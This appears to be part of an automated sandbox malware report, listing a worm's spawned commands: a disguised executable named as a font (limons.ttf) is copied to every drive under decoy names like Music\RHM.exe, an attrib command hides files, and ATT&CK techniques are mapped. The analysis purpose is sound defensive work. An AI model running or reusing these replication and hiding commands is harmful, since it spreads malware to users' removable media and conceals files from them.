    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Music\RHM.exe /y
    3⤵
    PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Music\RHM.exe /y
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Music\RHM.exe /y
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Music\RHM.exe /y
    3⤵
    PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Music\RHM.exe /y
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Music\RHM.exe /y
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Music\RHM.exe /y
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Music\RHM.exe /y
    3⤵
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Music\RHM.exe /y
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Music\RHM.exe /y
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Music\RHM.exe /y
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Music\RHM.exe /y
    3⤵
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Music\RHM.exe /y
    3⤵
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Music\RHM.exe /y
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Music\RHM.exe /y
    3⤵
    PID:456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Music\RHM.exe /y
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Music\RHM.exe /y
    3⤵
    PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Music\RHM.exe /y
    3⤵
    PID:1492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Music\RHM.exe /y
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Music\RHM.exe /y
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Music\RHM.exe /y
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Music\RHM.exe /y
    3⤵
    PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Music\M.exe /y
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Music\M.exe /y
    3⤵
    PID:3100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Music\M.exe /y
    3⤵
    PID:1356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Music\M.exe /y
    3⤵
    PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Music\M.exe /y
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Music\M.exe /y
    3⤵
    PID:4084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Music\M.exe /y
    3⤵
    PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Music\M.exe /y
    3⤵
    PID:740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Music\M.exe /y
    3⤵
    PID:4352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Music\M.exe /y
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Music\M.exe /y
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Music\M.exe /y
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Music\M.exe /y
    3⤵
    PID:4124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Music\M.exe /y
    3⤵
    PID:2336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Music\M.exe /y
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Music\M.exe /y
    3⤵
    PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Music\M.exe /y
    3⤵
    PID:3588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Music\M.exe /y
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Music\M.exe /y
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Music\M.exe /y
    3⤵
    PID:4948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Music\M.exe /y
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Music\M.exe /y
    3⤵
    PID:2144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Music\M.exe /y
    3⤵
    PID:904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Music\M.exe /y
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Photos\Starkhmer.exe /y
    3⤵
    PID:1940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Photos\Starkhmer.exe /y
    3⤵
    PID:4664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Photos\Starkhmer.exe /y
    3⤵
    PID:3448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Photos\Starkhmer.exe /y
    3⤵
    PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Photos\Starkhmer.exe /y
    3⤵
    PID:4312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Photos\Starkhmer.exe /y
    3⤵
    PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Photos\Starkhmer.exe /y
    3⤵
    PID:424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Photos\Starkhmer.exe /y
    3⤵
    PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Photos\Starkhmer.exe /y
    3⤵
    PID:1036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Photos\Starkhmer.exe /y
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Photos\Starkhmer.exe /y
    3⤵
    PID:2052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Photos\Starkhmer.exe /y
    3⤵
    PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Photos\Starkhmer.exe /y
    3⤵
    PID:1308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Photos\Starkhmer.exe /y
    3⤵
    PID:3076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Photos\Starkhmer.exe /y
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Photos\Starkhmer.exe /y
    3⤵
    PID:972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Photos\Starkhmer.exe /y
    3⤵
    PID:3520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Photos\Starkhmer.exe /y
    3⤵
    PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Photos\Starkhmer.exe /y
    3⤵
    PID:4028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Photos\Starkhmer.exe /y
    3⤵
    PID:116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Photos\Starkhmer.exe /y
    3⤵
    PID:4288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Photos\Starkhmer.exe /y
    3⤵
    PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Photos\Starkhmer.exe /y
    3⤵
    PID:2600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Photos\Starkhmer.exe /y
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Mp3\English.exe /y
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Mp3\English.exe /y
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Mp3\English.exe /y
    3⤵
    PID:3760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Mp3\English.exe /y
    3⤵
    PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Mp3\English.exe /y
    3⤵
    PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Mp3\English.exe /y
    3⤵
    PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Mp3\English.exe /y
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Mp3\English.exe /y
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Mp3\English.exe /y
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Mp3\English.exe /y
    3⤵
    PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Mp3\English.exe /y
    3⤵
    PID:708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Mp3\English.exe /y
    3⤵
    PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Mp3\English.exe /y
    3⤵
    PID:1664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Mp3\English.exe /y
    3⤵
    PID:364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Mp3\English.exe /y
    3⤵
    PID:4512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Mp3\English.exe /y
    3⤵
    PID:960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Mp3\English.exe /y
    3⤵
    PID:624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Mp3\English.exe /y
    3⤵
    PID:3864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Mp3\English.exe /y
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Mp3\English.exe /y
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Mp3\English.exe /y
    3⤵
    PID:4396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Mp3\English.exe /y
    3⤵
    PID:828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Mp3\English.exe /y
    3⤵
    PID:4748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Mp3\English.exe /y
    3⤵
    PID:4272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Mp3\Thai.exe /y
    3⤵
    PID:3204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Mp3\Thai.exe /y
    3⤵
    PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Mp3\Thai.exe /y
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Mp3\Thai.exe /y
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Mp3\Thai.exe /y
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Mp3\Thai.exe /y
    3⤵
    PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Mp3\Thai.exe /y
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Mp3\Thai.exe /y
    3⤵
    PID:3272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Mp3\Thai.exe /y
    3⤵
    PID:4284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Mp3\Thai.exe /y
    3⤵
    PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Mp3\Thai.exe /y
    3⤵
    PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Mp3\Thai.exe /y
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Mp3\Thai.exe /y
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Mp3\Thai.exe /y
    3⤵
    PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Mp3\Thai.exe /y
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Mp3\Thai.exe /y
    3⤵
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Mp3\Thai.exe /y
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Mp3\Thai.exe /y
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Mp3\Thai.exe /y
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Mp3\Thai.exe /y
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Mp3\Thai.exe /y
    3⤵
    PID:1780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Mp3\Thai.exe /y
    3⤵
    PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Mp3\Thai.exe /y
    3⤵
    PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Mp3\Thai.exe /y
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Phone-Soft\SmartMovies.exe /y
    3⤵
    PID:3100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul attrib +r +h +s c:\*.sis /s
    3⤵
    PID:1356
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s c:\*.sis /s
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

